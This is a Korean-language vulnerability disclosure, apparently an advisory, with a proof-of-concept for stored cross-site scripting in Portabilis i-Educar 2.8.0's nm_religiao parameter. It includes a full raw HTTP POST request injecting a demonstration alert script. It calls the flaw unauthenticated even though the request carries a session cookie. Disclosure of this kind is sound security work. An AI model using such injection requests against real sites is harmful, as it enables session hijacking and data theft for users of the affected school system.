
Portabilis i-Educar v2.8.0의 nm_religiao 매개변수를 통한 저장형 크로스 사이트 스크립팅(XSS) 취약점의 개념 증명 익스플로잇으로, 인증되지 않은 원격 자바스크립트 주입을 가능하게 합니다.
설명: Portabilis i-Educar v2.8.0은
/intranet/educar_religiao_cad.php의 POST 요청에 있는nm_religiao매개변수와/intranet/educar_religiao_lst.php?busca=S&nm_religiao=의 GET 요청에 의해 트리거되는 크로스 사이트 스크립팅(XSS)에 취약합니다. 이를 통해 인증되지 않은 원격 공격자가 악성 JavaScript를 주입할 수 있으며, 데이터를 조회할 때 실행되어 승인되지 않은 작업이나 데이터 유출로 이어질 수 있습니다.
버전: Portabilis i-Educar 2.8.0에서 발견됨.
문제는 educar_religiao_cad.php 파일의 nm_religiao 매개변수에서 발생하며, 삭제되지 않은 사용자 입력이 저장된 후 페이지 로드 시 JavaScript로 실행될 수 있습니다.
/intranet/educar_religiao_cad.php의 nm_religiao 매개변수는 사용자 입력을 제대로 삭제하지 않아 저장형 XSS를 허용합니다. 공격자가 JavaScript를 주입하면 데이터에 접근할 때마다 실행됩니다.
POST /intranet/educar_religiao_cad.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
Origin: http://127.0.0.1
Connection: keep-alive
Referer: http://127.0.0.1/intranet/educar_religiao_cad.php
Cookie: i_educar_session=1eqkHtEgzh7xrusxYcQ3AkZeRRjRMJlhTtib1n8J
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
tipoacao=Novo&cod_religiao=&nm_religiao=<script>alert("CVE")</script>

